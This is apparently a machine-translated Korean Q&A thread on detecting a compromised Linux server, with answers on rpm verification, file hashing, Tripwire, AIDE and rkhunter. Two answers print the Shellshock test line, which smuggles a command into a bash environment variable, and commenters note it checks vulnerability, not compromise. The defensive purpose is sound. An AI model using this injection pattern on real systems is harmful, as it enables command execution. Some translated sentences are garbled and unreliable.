두 번째 참고 : 손상된 루트 시스템에서 복구 할 수 없습니다. 유일한 조치는 시스템을 파괴하고 다시 프로비저닝하는 것입니다

깨끗한 정적 빌드를 rpm만들고 command를 실행하십시오 rpm --verify --all. 패키지에 속하는 파일이 수정되었음을 알려줍니다. 그러나 손상된 시스템에서 시스템을 실행할 수 있으므로 결과를 완전히 신뢰할 수는 없습니다. 그런 다음 간단히 rpm -qa패키지 목록을 가져오고 동일한 패키지 버전으로 다른 시스템을 재생성 한 다음 find / -type f |xargs -r -n 100 md5sum |sort두 시스템 모두에서 다른 시스템을 재생성하여 차이점을 확인할 수 있습니다. 또한 시스템을 올바르게 관리하는 경우 (/ opt 또는 / usr / local / bin 또는 관리되지 않는 다른 장소에 수동으로 아무것도 설치하지 않음을 의미) 시스템에서 패키지에 속하지 않은 모든 파일을 검색 할 수 있습니다 find / -type f -exec rpm -qf {} \;. 알 수없는 파일에 대한 오류를 표시해야합니다. 나는 당신이 운동으로 긍정적 인 것을 보여주지 않도록 ;-)

암호화 증명으로 정기적으로 동일한 작업을 수행하기 위해 Tripwire여전히 무료 버전으로 제공되는 도구 가 있습니다. 오래되었지만 그 일을한다. 새로운 대안은입니다 AIDE.하지만 몇 년 전에 보았을 때 암호를 사용하지 않았습니다.

도움이되는 몇 가지 도구가 있습니다. 예를 들어 package를 찾으십시오 rkhunter. 알려진 루트 툴킷 및 악용 된 파일이 있는지 컴퓨터를 검사합니다.

분명히 이러한 도구는 시스템이 손상되기 전에 설치 및 구성되어야하며 시스템이 루트 액세스로 해킹 된 경우 이러한 도구를 대상으로 할 수도 있습니다. 또한 이러한 도구는 매우 집중적이고 시스템 속도를 저하시킬 수 있습니다.


2

서버가 손상되었는지 알 수있는 유일한 방법은 파일의 서명을 어딘가에두고 현재 파일을 비교하는 것입니다. 그럼에도 불구하고 당신은 당신이 취약한 지 알 수 있습니다.

  1. 당신은 할 수 없습니다. 기계가 실제로 손상을 입었다 고 가정하면 일반적인 모니터링 도구 (ps, top, lsof, ...)는 의심스러운 활동을 숨기고 출력이 정상적으로 보이는 유사한 도구로 대체되었습니다.
  2. 아니. 실행 파일이있는 모든 폴더에있을 수 있습니다.
  3. 일반적인 모니터링 도구를 포함한 실행 파일 또는 스크립트 (ELF 바이너리, .shell 스크립트 등)

-3

리눅스 박스가 손상되었는지 확인하는 방법.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

if가 반환되면

vulnerable
this is a test

너는.

업데이트를 실행하려면 루트 아래에서 다음 명령을 실행하십시오.

sudo yum update bash

16
-1 bash가 실제로 손상되지 않았는지 확인하십시오.
Calimo

1
또한 yum다른 패키지 관리자가 아니라 실행중인 것으로 가정합니다 .
DavidG

-3

다음 명령 (CSA에서 제공 한 코드)을 실행하여 취약한 지 확인할 수 있습니다. 터미널 창을 열고 $ 프롬프트에서 다음 명령을 입력하십시오.

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

bash가 최신이 아닌 경우 다음과 같이 인쇄됩니다.

vulnerable
this is a test

bash가 최신 상태이면 다음 만 표시됩니다.

this is a test

자세한 내용은이 링크 뒤에 있습니다 .


1
질문에 대한 서버가되었다는 것을 감지 한 손상 그건하지 않는 것이, 취약
가레스

질문에 대한 답변이 없기 때문에 점수가 낮은 답변과 매우 유사한 답변을 게시하기 전에 다른 답변을 읽어보십시오.
Manu H
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.